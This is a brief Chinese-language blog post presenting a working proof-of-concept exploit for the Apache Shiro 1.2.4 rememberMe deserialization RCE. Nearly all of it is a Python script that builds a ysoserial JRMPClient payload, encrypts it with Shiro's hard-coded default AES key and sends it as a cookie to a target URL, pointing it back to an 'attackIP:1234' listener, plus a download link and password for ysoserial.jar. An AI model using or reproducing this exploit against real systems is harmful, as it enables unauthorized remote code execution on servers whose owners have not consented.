实战Apache Shiro 1.2.4 RCE

Posted 2021-02-15 peterpan0707007

poc：

#coding: utf-8
import os
import re
import sys
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = ‘ysoserial.jar‘

def attack(target,command):
    if not os.path.exists(JAR_FILE):
        raise Exception(‘jar file not found!‘)
    popen = subprocess.Popen([‘java‘, ‘-jar‘, JAR_FILE, ‘JRMPClient‘, command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    print(base64_ciphertext)
    try:
       response = requests.get(target, timeout=20, cookies={"rememberMe": base64_ciphertext.decode()})
       print (‘Request to target URL success‘)
    except Exception as e:
       print("[x] Request to target URL fail! {}".format(e))

if __name__ == ‘__main__‘:
    url=sys.argv[1]
    attack(url, ‘attackIP:1234‘)

需当前目录安装ysoserial.jar，链接:https://pan.baidu.com/s/1gdevU9QyguGSYr2ExBChqQ  密码:nsoi

实战截图：